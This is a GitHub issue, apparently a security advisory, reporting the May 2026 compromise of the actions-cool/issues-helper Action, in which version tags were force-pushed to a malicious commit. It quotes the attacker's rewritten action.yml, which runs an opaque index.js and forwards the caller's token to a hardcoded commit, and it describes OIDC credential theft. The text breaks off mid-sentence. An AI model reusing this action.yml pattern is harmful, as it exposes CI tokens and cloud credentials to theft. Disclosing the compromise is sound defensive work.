Supply chain attack · Issue #230 · actions-cool/issues-helper · GitHub
//voltron/issues_fragments/issue_layout" data-turbo-transient="true" />
Skip to content
Search or jump to...
Search code, repositories, users, issues, pull requests...
-->
Search
Clear
Search syntax tips
Provide feedback
--><br>We read every piece of feedback, and take your input very seriously.
Include my email address so I can be contacted
Cancel
Submit feedback
Saved searches
Use saved searches to filter your results more quickly
-->
Name
Query
To see all available qualifiers, see our documentation.
Cancel
Create saved search
Sign in
//voltron/issues_fragments/issue_layout;ref_cta:Sign up;ref_loc:header logged out"}"<br>Sign up
Appearance settings
Resetting focus
You signed in with another tab or window. Reload to refresh your session.<br>You signed out in another tab or window. Reload to refresh your session.<br>You switched accounts on another tab or window. Reload to refresh your session.
Dismiss alert
{{ message }}
actions-cool
issues-helper
Public
Notifications<br>You must be signed in to change notification settings
Fork<br>49
Star<br>407
Supply chain attack #230
New issue<br>Copy link
New issue<br>Copy link
Open
Open<br>Supply chain attack#230
Copy link
Description
wwsean08<br>opened on May 18, 2026
Issue body actions
Supply Chain Compromise: actions-cool/issues-helper
TL;DR
The v2.4.2 tag (and 37 additional tags) in the actions-cool/issues-helper repository was forcibly rewritten on 2026-05-18 to point to a malicious commit (3f4d6804812734dfe945bbe8ef619f151e4b27f6) that replaces the entire legitimate codebase with a ~500 KB opaque index.js blob containing an embedded PEM private key and code that accesses the ACTIONS_ID_TOKEN_REQUEST_TOKEN environment variable for OIDC credential theft. Pin immediately to the last known-safe commit for the version you use.
Introduction
This report documents a confirmed active supply-chain compromise of the GitHub Action actions-cool/issues-helper. The malicious commit 3f4d6804812734dfe945bbe8ef619f151e4b27f6, authored under the account lijinke666, was force-pushed to the repository and 37 additional version tags were simultaneously rewritten to point to it. All version tags in this repository must be considered suspect until the repository owner confirms integrity.
This is an active incident. The full scope of affected tags, the complete behavior of the malicious payload, and attribution details may evolve as analysis continues.
Timeline
2026-05-18T19:11:58Z — Malicious commit 3f4d6804812734dfe945bbe8ef619f151e4b27f6 authored and pushed; 37 additional tags in the repository drifted within the same 10-minute window, indicating a coordinated force-push across all version tags.
Attack Analysis
The attacker obtained write access to the actions-cool/issues-helper repository and replaced the entire codebase in a single force-push. The changes are substantial and deliberate:
Mass source destruction. 59 files were deleted in this commit: all src/ JavaScript logic, the compiled dist/index.js, all CI workflows, all tests, documentation, package.json, yarn.lock, and LICENSE. This wholesale removal of the original codebase is consistent with an attacker wiping the repository to prevent comparison with the legitimate implementation.
Execution model change. action.yml was rewritten from a standard Node.js action (runs: using: node12 / main: dist/index.js) to a composite action with three steps:
runs:<br>using: "composite"<br>steps:<br>- uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6<br>- name: Run script from action's directory<br>shell: bash<br>run: bun run $GITHUB_ACTION_PATH/index.js<br>- uses: actions-cool/issues-helper@200c78641dbf33838311e5a1e0c31bbdb92d7cf0<br>with:<br>actions: ${{ inputs.actions }}<br>token: ${{ inputs.token }}
Step 1 installs the Bun runtime. Step 2 executes the newly introduced, malicious index.js blob. Step 3 forwards ${{ inputs.token }} — which resolves to the caller's GITHUB_TOKEN or any PAT supplied — to a hardcoded SHA (200c78641dbf33838311e5a1e0c31bbdb92d7cf0) that is neither the last-known-safe commit nor the malicious commit itself. This third, unreviewed commit SHA is treated as a token-harvesting relay.
Embedded PEM private key. The introduced index.js (~500 KB) contains a -----BEGIN PRIVATE KEY----- PEM block. In observed supply-chain attacks of this pattern, an embedded asymmetric key is used to encrypt stolen credentials locally before exfiltration, ensuring only the attacker can decrypt the ciphertext. Full recovery of the key material requires analysis of the untruncated blob.
OIDC token access. The malicious index.js references ACTIONS_ID_TOKEN_REQUEST_TOKEN. This GitHub Actions environment variable provides a bearer token that can be exchanged at cloud STS endpoints (AWS, GCP, Azure) for short-lived cloud provider credentials without requiring static secrets. The likely attack chain is: read OIDC token → exchange for cloud credentials → encrypt...